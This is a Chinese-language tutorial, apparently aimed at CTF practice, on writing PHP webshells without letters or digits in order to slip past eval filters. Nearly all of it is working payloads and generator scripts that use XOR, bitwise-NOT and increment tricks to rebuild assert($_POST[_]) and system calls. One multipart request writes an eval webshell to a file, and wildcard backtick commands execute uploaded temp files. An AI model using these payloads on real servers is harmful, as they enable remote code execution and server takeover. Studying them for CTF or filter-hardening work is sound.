无字母数字webshell总结
字数 1235 2025-08-19 12:41:54
无字母数字Webshell技术研究与绕过方法
一、基础知识
1. 问题定义
无字母数字Webshell指的是在以下限制条件下构造可执行代码:
<?php
if(!preg_match('/[a-z0-9]/is', $_GET['shell'])){
eval($_GET['shell']);
}
2. PHP异或运算
- 字符异或原理:两个字符的ASCII码二进制表示进行异或运算
- 示例:
<?php
echo "5" ^ "Z"; // 输出"o"
// 5(53):00110101, Z(90):01011010 → 异或结果111(111)=o
3. PHP取反运算
- 对汉字字符的特定字节取反可获得ASCII字符
- 示例:
$_ = "卢";
print(~($_ {1})); // 输出"r"
// "\x8d"取反得到"r"
4. PHP版本差异
- PHP5:
assert()是函数,可用$_=assert;$_()形式调用- 不支持
($a)()调用方式
- PHP7:
assert()变为语言结构- 支持
('phpinfo')();调用方式
5. PHP短标签
<?= ?>总是可用(PHP5.4+)<? ?>需要short_open_tag开启
6. 反引号执行
<?= `whoami` ?> // 直接执行系统命令
二、绕过方法
方法一:异或构造法
原理
通过两个非字母数字字符串异或得到目标函数名
POC生成器
<?php
$shell = "assert";
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++){
for($x=33;$x<=126;$x++){
if(judge(chr($x))){
for($y=33;$y<=126;$y++){
if(judge(chr($y))){
$f = chr($x)^chr($y);
if($f == $shell[$num]){
$result1.=chr($x);
$result2.=chr($y);
break 2;
}
}
}
}
}
}
echo $result1;
echo "<br>";
echo $result2;
function judge($c){
if(!preg_match('/[a-z0-9]/is', $c)){
return true;
}
return false;
}
示例Payload
<?php
$_ = "!((%)("^"@[[@[\\"; // 构造出"assert"
$__ = "!+/(("^"~{`{|"; // 构造出"_POST"
$___ =
$$
__; // $_POST
$_($___[_]); // assert($_POST[_])
方法二:取反构造法
原理
通过对汉字字符的特定字节取反获得目标字符
POC生成器
<?php
header("Content-type:text/html;charset=utf-8");
$shell = "assert";
$result = "";
$arr = array();
$word = "一乙二十丁厂七卜..."; // 3000+汉字
function mb_str_split($string){
return preg_split('//u', $string);
}
foreach(mb_str_split($word) as $c){
$arr[]=$c;
}
for($x=0;$x<strlen($shell);$x++){
for($y=0;$y<count($arr);$y++){
$k = $arr[$y];
if($shell[$x] == ~($k{1})){
$result.=$k;
break;
}
}
}
echo $result;
示例Payload
<?php
$_++; // $_=1
$__="极"; $___=~($__{$_}); // "a"
$__="区"; $___.=~($__{$_}); // "s"
$__="区"; $___.=~($__{$_}); // "s"
$__="皮"; $___.=~($__{$_}); // "e"
$__="十"; $___.=~($__{$_}); // "r"
$__="勺"; $___.=~($__{$_}); // "t" → "assert"
$____='_';
$__="寸"; $____.=~($__{$_}); // "P"
$__="小"; $____.=~($__{$_}); // "O"
$__="欠"; $____.=~($__{$_}); // "S"
$__="立"; $____.=~($__{$_}); // "T" → "_POST"
$_=
$$
____; // $_=$_POST
$___($_[_]); // assert($_POST[_])
优化版(十六进制表示)
<?php
$_=~"%9e%8c%8c%9a%8d%8b"; // "assert"
$__=~"%a0%af%b0%ac%ab"; // "_POST"
$___=
$$
__; // $_POST
$_($___[_]); // assert($_POST[_])
方法三:自增构造法
原理
- 通过数组转字符串得到"A"("Array"首字母)
- 通过自增得到其他字母
示例Payload
<?php
$_ = [].''; // "Array"
$___ = $_[$__]; // "A" ($__未定义默认为0)
$__ = $___; // $__="A"
$_ = $___; // $_="A"
// 通过多次自增构造"assert"和"_POST"
// ...
$___($_[_]); // ASSERT($_POST[_])
三、进阶绕过技术
1. 过滤下划线(_)的绕过
<?= `{${~"%a0%b8%ba%ab"}[%a0]}` ?>
// ~"%a0%b8%ba%ab" = "_GET"
2. 过滤分号(;)的绕过
- 使用短标签形式避免使用分号
3. PHP7下的特殊调用
(~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c)(~%8c%86%8c%8b%9a%92,~%88%97%90%9e%92%96,'');
// 相当于 call_user_func('system','whoami')
4. PHP5下的文件执行
- 上传包含PHP代码的文件(默认存储在/tmp/phpXXXXXX)
- 执行命令:
. /???/?????????(匹配/tmp下的临时文件)
示例数据包
POST /?code=?><?=`.+/???/?????????[A-Z]`?> HTTP/1.1
...
--123
Content-Disposition:form-data;name="file";filename="1.txt"
echo "<?php eval(\$_POST['shell']);" > success.php
--123--
四、实战题目分析
题目1:基本限制
if(!preg_match("/[A-Za-z0-9_]+/", $code)){
@eval($code);
}
解法1:无_构造
?><?= `{${~"%a0%b8%ba%ab"}[%a0]}` ?>
解法2:异或构造
?><?= `{${"!%27%25("^"%7e%60%60%7c"}[%a0]}` ?>
题目2:更严格限制
if(preg_match("/[A-Za-z0-9_\$]+/", $code)){
die("NO.");
}
解法:通配符匹配
?><?= `/???/??? ????.???` ?> // 匹配/bin/cat flag.php
题目3:De1ctf Hard_Pentest_1
限制:/[a-z0-9;~^&|]/is`
解法:自增构造+短标签
<?= $_=[]?><?= $_=@"$_"?><?= $_=$_['!'=='@']?><?= $___=$_?>...
// 长Payload通过自增构造assert和_POST
五、总结对比
| 方法 | 优点 | 缺点 | 适用场景 |
|---|---|---|---|
| 异或构造 | Payload较短 | 需要生成工具 | 长度限制不严格的情况 |
| 取反构造 | Payload较短 | 需要汉字字符 | 允许使用汉字的场景 |
| 自增构造 | 无需特殊字符 | Payload非常长 | 严格过滤特殊字符的情况 |
注意事项:
- 实际使用时需要对特殊字符进行URL编码
- 不同PHP版本有差异,需针对性构造
- 此类Webshell熵值高,实战中易被检测